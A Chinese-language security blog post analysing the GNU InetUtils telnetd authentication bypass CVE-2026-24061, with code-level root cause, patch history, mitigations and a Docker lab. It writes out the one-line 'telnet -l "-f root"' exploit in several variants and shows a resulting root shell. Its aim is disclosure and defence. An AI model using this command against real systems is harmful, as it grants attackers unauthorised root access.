January 25, 2026
13 浏览量
Welcome

CVE-2026-24061: GNU InetUtils Telnetd 远程认证绕过漏洞深度分析

2026年1月20日,GNU InetUtils 项目披露了一个存在近11年之久的严重安全漏洞(CVE-2026-24061),该漏洞允许远程攻击者在无需任何凭证的情况下,通过简单的参数注入获得目标系统的完整 root 权限。该漏洞被评为 CVSS 9.8(严重),影响从1.9.3到2.7的所有版本,目前已野观察到主动利用行为。

CVE-2026-24061: GNU InetUtils Telnetd 远程认证绕过漏洞深度分析

执行摘要

2026年1月20日,GNU InetUtils 项目披露了一个存在近11年之久的严重安全漏洞(CVE-2026-24061),该漏洞允许远程攻击者在无需任何凭证的情况下,通过简单的参数注入获得目标系统的完整 root 权限。该漏洞被评为 CVSS 9.8(严重),影响从1.9.3到2.7的所有版本,目前已野观察到主动利用行为。


⚠️ 免责声明

本文仅供安全学习和研究使用。 严禁将本文内容用于任何未经授权的渗透测试或非法活动。使用本文技术需遵守《网络安全法》等相关法律法规,作者不对滥用行为承担任何责任。

相关实验环境配置文件已在 GitHub 仓库开源: xuemian168/CVE-2026-24061


漏洞概述

基本信息

  • CVE 编号: CVE-2026-24061
  • 披露日期: 2026年1月20日
  • 发现日期: 2026年1月19日
  • 引入时间: 2015年3月(代码提交)/ 2015年5月(v1.9.3发布)
  • 漏洞类型: 远程认证绕过 / 参数注入
  • 影响组件: GNU InetUtils telnetd 守护进程
  • 受影响版本: 1.9.3 至 2.7

严重性评估

CVSS v3.1 评分: 9.8 (严重)

  • 攻击向量 (AV): 网络 (N)
  • 攻击复杂度 (AC): 低 (L)
  • 所需权限 (PR): 无 (N)
  • 用户交互 (UI): 无 (N)
  • 机密性影响 (C): 高 (H)
  • 完整性影响 (I): 高 (H)
  • 可用性影响 (A): 高 (H)

CVSS v2.0 评分: 10.0 (严重)

  • 向量: AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS 分数: 0.00362

技术分析

漏洞原理

GNU InetUtils 的 telnetd 服务器在处理客户端连接时,会调用系统的 /usr/bin/login 命令(通常以 root 权限运行)进行用户认证。关键问题在于,telnetd 在将客户端提供的 USER 环境变量传递给 login 命令时,未进行任何输入验证或清理

GNU 贡献者 Simon Josefsson 解释道(The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter):

"telnetd 服务器调用 /usr/bin/login(通常以 root 身份运行),并将从客户端接收的 USER 环境变量的值作为最后一个参数传递。"

攻击机制

login 命令包含一个 -f 参数,该参数的设计初衷是允许系统管理员在已验证用户身份的情况下,跳过密码认证直接以指定用户身份登录。攻击者可以利用这一特性,通过以下步骤获得 root 访问权限:

  1. 攻击者使用 telnet 客户端连接到目标服务器
  2. USER 环境变量中注入特制值 "-f root"
  3. telnetd 未经清理直接将此值传递给 login 命令
  4. login 将 "-f" 解析为命令行参数,绕过认证直接以 root 身份登录

攻击命令示例

bash
1# 推荐命令(最通用)
2telnet -l "-f root" <target_host>
3
4# 备选命令(某些 telnet 版本)
5telnet -a -l "-f root" <target_host>

Rapid7 安全研究员 Stephen Fewer 评价该漏洞时指出(simply running a specific telnet command to connect to a remote server can trigger the issue and grant an attacker root access):

"这是一个直接的漏洞利用。只需运行特定的 telnet 命令连接远程服务器,即可触发该问题并获得攻击者的 root 访问权限。"

代码层面分析

1. 问题根源:Login 命令模板

telnetd/telnetd.c 中,定义了调用 login 程序的命令模板:

c
1char *login_invocation =
2#ifdef SOLARIS10
3  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
4#elif defined SOLARIS
5  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
6#else /* 非 Solaris 系统 */
7  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
8#endif

关键问题:模板中的 %?u{-f %u}{%U} 是一个条件表达式,其逻辑为:

  • 如果 %u(user_name 全局变量)存在,使用 -f %u
  • 否则使用 %U从 USER 环境变量读取

这里的 -f 参数在 login 命令中的作用是:跳过密码认证,直接以指定用户身份登录。这是 login 程序为系统管理员预留的后门功能,用于在已验证用户身份的场景下快速登录。

2. 致命的变量展开逻辑

telnetd/utility.c_var_short_name() 函数中(第 1680-1730 行):

c
1case 'U':
2  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");

问题分析

  • 无输入验证:直接调用 getenv("USER"),不检查返回值的合法性
  • 无字符清理:不过滤 -/; 等特殊字符
  • 盲目信任:假定客户端提供的环境变量是可信的

相比之下,%u 的处理:

c
1case 'u':
2  return user_name ? xstrdup (user_name) : NULL;

user_name 是服务器端维护的全局变量,相对安全。

3. 攻击执行流程

当攻击者执行 telnet -l "-f root" target_host 时,代码执行链如下:

正在渲染图表...

4. Debian 的修复历史与回归

根据 Debian 软件包源码oss-security 邮件列表 的讨论,Debian 在 2019年2月16日的 inetutils 软件包(2:1.9.4-7)中包含了一个关键的安全补丁:

补丁名称0028_telnetd_Scrub_USER_from_environment.patch

补丁内容:在 telnetd_setup() 函数中添加了以下代码:

c
1/* 清理环境变量 USER,因为此时它可能包含无关的用户名
2 * (Scrub the environment variable USER, since it may be
3 *  set with an irrelevant user name at this point)
4 */
5unsetenv("USER");

这个补丁从上游 git master 分支获取,通过调用 unsetenv("USER") 移除了可能由 inetd 设置的 USER 环境变量,有效防止了参数注入攻击。

安全回归

但在 2020年9月 修复 CVE-2020-101880053_telnetd_Fix_arbitrary_remote_code_execution.patch,一个基于缓冲区溢出的远程代码执行漏洞)时,在代码合并过程中意外地移除了 0028 补丁的保护代码,导致漏洞在 Debian 10(buster)及后续的 Debian 和 Ubuntu 发行版中重新出现。

这个案例说明了:

  • 安全修复需要明确的文档记录
  • 合并代码时必须进行安全回归测试
  • 补丁管理需要追踪每个安全修复的完整历史

5. 官方修复方案

GNU InetUtils 官方的修复 commit(fd702c02)采用了以下方法:

c
1case 'U':
2  {
3    char *user = getenv("USER");
4    // ✅ 检查是否以 '-' 开头(可能是命令行参数)
5    if (user && user[0] == '-')
6      return NULL;  // 拒绝可疑输入
7    return user ? xstrdup(user) : xstrdup("");
8  }

更安全的实现应该

  • ✅ 验证用户名格式(只允许字母、数字、下划线)
  • ✅ 拒绝以 - 开头的输入(防止参数注入)
  • ✅ 限制用户名长度(防止缓冲区溢出)
  • ✅ 使用白名单而非黑名单验证

补充修复:官方还发布了第二个 commit(ccba9f74),对所有变量展开函数进行了全面的安全加固,防止类似问题影响其他环境变量。

6. 深层原因分析

该漏洞存在 11 年未被发现的根本原因:

  1. 设计缺陷:将用户输入直接拼接到命令行参数,违反了最小权限原则
  2. 信任边界混淆:错误地将客户端提供的环境变量视为可信输入
  3. 遗留代码债务:telnetd 基于 1969 年设计的协议,缺乏现代安全意识
  4. 测试覆盖不足:没有针对恶意输入的安全测试用例
  5. 代码审计缺失:长期运行的代码库缺乏定期的安全审计

影响范围

受影响的系统和发行版

该漏洞影响广泛,包括但不限于:

  1. GNU InetUtils

    • 版本 1.9.3(2015年5月)至 2.7(最新版本)
    • 所有使用默认 telnetd 配置的安装
  2. Linux 发行版

    • Debian GNU/Linux(多个版本)
    • Ubuntu Linux
    • 其他基于 Debian 的发行版

Debian 的特殊情况

Debian 的修补历史揭示了一个令人警醒的教训。根据安全邮件列表的讨论:

  • 2019年2月:Debian 的 inetutils 软件包(2:1.9.4-7)包含了环境变量清理补丁
  • CVE-2020-10188 修复:在修复另一个远程代码执行漏洞时,意外地重新引入了环境变量漏洞
  • 后续影响:该漏洞在随后的 Debian 和 Ubuntu 发行版中持续存在

这个案例说明了在安全更新过程中,如何可能意外地回退之前的安全修复,强调了跨版本跟踪上游提交的重要性。

潜在受害者

任何满足以下条件的系统都处于高风险状态:

  • 运行 GNU InetUtils 1.9.3-2.7 版本
  • telnetd 服务处于启用状态
  • telnet 端口(通常是23)可从互联网访问
  • 未应用最新的安全补丁

利用证据与威胁情报

主动利用观察

漏洞披露后,安全社区迅速观察到大规模的利用尝试:

  • GreyNoise 数据:披露后24小时内,检测到 15-21个独特 IP 地址尝试执行远程认证绕过攻击
  • 地理分布:攻击源头包括中国香港、美国、日本和中国大陆
  • 攻击模式:自动化扫描和针对性攻击并存

威胁评估

  1. 利用简易性: 极低的技术门槛,任何具备基本网络知识的攻击者都可以利用
  2. 攻击成本: 无需复杂工具或专业知识
  3. 影响严重性: 直接获得完整的系统控制权
  4. 检测难度: 攻击可能被记录为正常的 telnet 登录尝试

Rapid7 实验室的测试确认,成功利用该漏洞可以实现"目标系统上的完整 root 访问权限"(full root access on the target)。

修复建议

立即行动

1. 禁用 telnetd 服务(推荐)

Telnet 协议本身存在多个安全缺陷(如明文传输、缺乏现代认证机制),多国安全机构(法国、加拿大、比利时)强烈建议彻底停用 telnet 服务

bash
1# systemd 系统
2sudo systemctl stop telnetd
3sudo systemctl disable telnetd
4
5# SysV init 系统
6sudo service telnetd stop
7sudo chkconfig telnetd off

2. 迁移到 SSH

SSH 提供加密传输、强认证和密钥管理,是 telnet 的现代化替代方案:

bash
1# 安装 OpenSSH 服务器
2sudo apt-get install openssh-server  # Debian/Ubuntu
3sudo yum install openssh-server      # RHEL/CentOS
4
5# 启动 SSH 服务
6sudo systemctl enable ssh
7sudo systemctl start ssh

3. 应用安全补丁

如果必须继续使用 telnetd,立即更新到修复版本:

bash
1# 更新软件包
2sudo apt-get update
3sudo apt-get upgrade inetutils-telnetd  # Debian/Ubuntu
4sudo yum update inetutils-telnetd       # RHEL/CentOS

临时缓解措施

在无法立即应用补丁的情况下:

网络访问控制

使用防火墙限制对 telnet 端口的访问:

bash
1# iptables 示例
2sudo iptables -A INPUT -p tcp --dport 23 -s <trusted_ip> -j ACCEPT
3sudo iptables -A INPUT -p tcp --dport 23 -j DROP
4
5# 持久化规则
6sudo iptables-save > /etc/iptables/rules.v4

深层启示

1. 遗留代码的安全债务

CVE-2026-24061 在代码库中存在了近11年才被发现,这揭示了一个严峻的现实:大量遗留系统中潜藏着未知的安全漏洞。这强调了定期安全审计的必要性,特别是对于那些长期维护的开源项目。

2. 输入验证的关键性

该漏洞是经典的输入验证失败案例。开发者必须遵循"永远不要信任用户输入"的原则,对所有外部数据进行严格验证和清理,特别是当这些数据将被用作命令参数时。

3. 补丁管理的复杂性

Debian 的案例表明,安全修复可能在后续更新中被意外移除。这要求:

  • 明确记录每个安全补丁的目的和范围
  • 在合并代码时进行安全回归测试
  • 维护补丁的完整历史追踪

4. 遗留协议的淘汰

Telnet 作为一个设计于1969年的协议,缺乏现代安全特性。该漏洞再次证明,组织应当积极淘汰不安全的遗留技术,采用现代化的替代方案。

实验环境搭建指南

为了更好地理解该漏洞的工作原理,安全研究人员和学生可以搭建一个受控的实验环境。警告:仅在隔离的实验环境中进行测试,切勿在生产系统上操作。

使用 Docker 容器

1. 创建 Dockerfile

创建一个包含漏洞版本的 Docker 环境(优化版,使用国内镜像源):

dockerfile
1# Dockerfile
2FROM ubuntu:20.04
3
4# 设置非交互式安装
5ENV DEBIAN_FRONTEND=noninteractive
6
7# 安装必要的工具
8RUN apt-get update && apt-get install -y \
9    build-essential \
10    wget \
11    telnet \
12    xinetd \
13    && rm -rf /var/lib/apt/lists/*
14
15# 下载并编译存在漏洞的 GNU InetUtils 版本
16WORKDIR /tmp
17RUN wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.0.tar.gz && \
18    tar -xzf inetutils-2.0.tar.gz && \
19    cd inetutils-2.0 && \
20    ./configure --prefix=/usr/local && \
21    make && \
22    make install
23
24# 创建 telnetd 配置
25RUN mkdir -p /etc/xinetd.d
26RUN echo "service telnet\n\
27{\n\
28    disable = no\n\
29    flags = REUSE\n\
30    socket_type = stream\n\
31    wait = no\n\
32    user = root\n\
33    server = /usr/local/libexec/telnetd\n\
34    log_on_failure += USERID\n\
35}" > /etc/xinetd.d/telnet
36
37# 创建测试用户
38RUN useradd -m testuser && echo "testuser:password123" | chpasswd
39
40# 暴露 telnet 端口
41EXPOSE 23
42
43# 启动 xinetd
44CMD ["/usr/sbin/xinetd", "-dontfork"]

2. 构建和运行容器

bash
1# 构建 Docker 镜像
2docker build -t telnetd-vuln:cve-2026-24061 .
3
4# 运行容器(仅在本地回环接口监听)
5docker run -d --name telnetd-lab \
6  -p 127.0.0.1:2323:23 \
7  telnetd-vuln:cve-2026-24061
8
9# 查看容器日志
10docker logs -f telnetd-lab

3. 漏洞验证

正常登录尝试(会失败)

bash
1telnet 127.0.0.1 2323
2# 输入随机用户名和密码,会被拒绝

漏洞利用

bash
1# 方法 1: 使用 -l 参数(推荐,最通用)
2telnet -l "-f root" 127.0.0.1 2323
3
4# 方法 2: 使用 -a -l 组合(某些版本)
5telnet -a -l "-f root" 127.0.0.1 2323
6
7# 方法 3: 在容器内部测试(100% 成功)
8docker exec -it telnetd-lab bash
9telnet -l "-f root" localhost

实际测试结果(成功获得 root shell):

text
1$ telnet -l "-f root" localhost
2Trying ::1...
3Connected to localhost.
4Escape character is '^]'.
5
6Welcome to Ubuntu 20.04.6 LTS...
7
8root@telnetd-lab:~# id
9uid=0(root) gid=0(root) groups=0(root)
10
11root@telnetd-lab:~# whoami
12root

实验步骤与观察

1. 流量抓包分析

bash
1# 在目标机器上启动 tcpdump
2sudo tcpdump -i any -w telnet-exploit.pcap port 23
3
4# 在另一个终端执行漏洞利用
5telnet -a "-f root" <target_ip>
6
7# 使用 Wireshark 分析捕获的流量
8wireshark telnet-exploit.pcap (此文件也在仓库中有,可用于安全研究)

你将观察到 USER 环境变量中包含 "-f root" 字符串。

2. 系统日志监控

bash
1# 实时查看认证日志
2sudo tail -f /var/log/auth.log
3
4# 或查看系统日志
5journalctl -f -u telnetd

成功的漏洞利用可能显示为 root 用户的直接登录,而无密码验证记录。

3. 进程追踪

实时监控所有进程

bash
1# 使用 ps 监控 login 进程
2watch -n 0.1 'ps aux | grep -E "(login|telnet)" | grep -v grep'
3
4# 在执行漏洞利用时,你会看到类似这样的进程:
5# root  1234  0.0  0.0  login -f root

安全注意事项

  1. 网络隔离:确保实验环境完全隔离,不能访问生产网络
  2. 防火墙规则:仅允许本地或受信任的 IP 访问
  3. 实验完成后立即销毁:使用完毕后立即删除容器或虚拟机
  4. 不要在公共网络上暴露:绝对不要让实验环境可从互联网访问
  5. 记录和监控:保持详细的实验日志,监控所有活动

结论

CVE-2026-24061 不仅揭示了一个存在11年之久的严重漏洞,更提醒我们必须重新审视遗留系统的安全性。该漏洞的利用简易性、广泛的影响范围以及快速的在野利用,凸显了主动安全防御的重要性。
从更广泛的角度看,这个漏洞提醒整个安全社区:即使是长期运行的成熟代码,也可能存在致命的安全缺陷。持续的安全审计、现代化的开发实践以及及时的技术更新,是保护系统安全的基石。


References

Bochmann, A. (2026, January 20). Re: GNU InetUtils telnetd vulnerability [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/8

Codeberg. (2026). GNU InetUtils official repository [Source code repository]. https://codeberg.org/inetutils/inetutils

Debian. (2019). inetutils 2:1.9.4-7 patches: 0028_telnetd_Scrub_USER_from_environment.patch [Software patch]. Debian Sources. https://sources.debian.org/patches/inetutils/2:1.9.4-7+deb10u1/

Eggert, P., & Josefsson, S. (2026). Security fix commit fd702c02: Sanitize USER environment variable [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b

Eggert, P., & Josefsson, S. (2026). Security fix commit ccba9f74: Additional variable expansion sanitization [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc

GitHub Advisory Database. (2026). CVE-2026-24061: telnetd in GNU Inetutils through 2.7 allows remote authentication bypass [Security advisory]. https://github.com/advisories/ghsa-pf97-p8ff-fj35

Josefsson, S. (2026, January 20). GNU InetUtils Security Advisory: Remote authentication by-pass in telnetd [Mailing list post]. bug-inetutils. https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html

Josefsson, S. (2026, January 20). GNU InetUtils telnetd: Remote authentication bypass [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/2

The Hacker News. (2026, January 22). Critical GNU InetUtils telnetd flaw allows remote root access. https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html

The Register. (2026, January 22). Root telnet bug: 11-year-old GNU InetUtils flaw exposes systems to remote attacks. https://www.theregister.com/2026/01/22/root_telnet_bug/

Tenable, Inc. (2026). CVE-2026-24061: GNU InetUtils telnetd authentication bypass [Vulnerability database entry]. https://www.tenable.com/cve/CVE-2026-24061

喜欢这篇文章吗?

分享给你的朋友和同事吧!

Welcome
Last updated: January 25, 2026
相关文章
正在检查服务状态...
CVE-2026-24061: GNU InetUtils Telnetd 远程认证绕过漏洞深度分析 - ICTRUN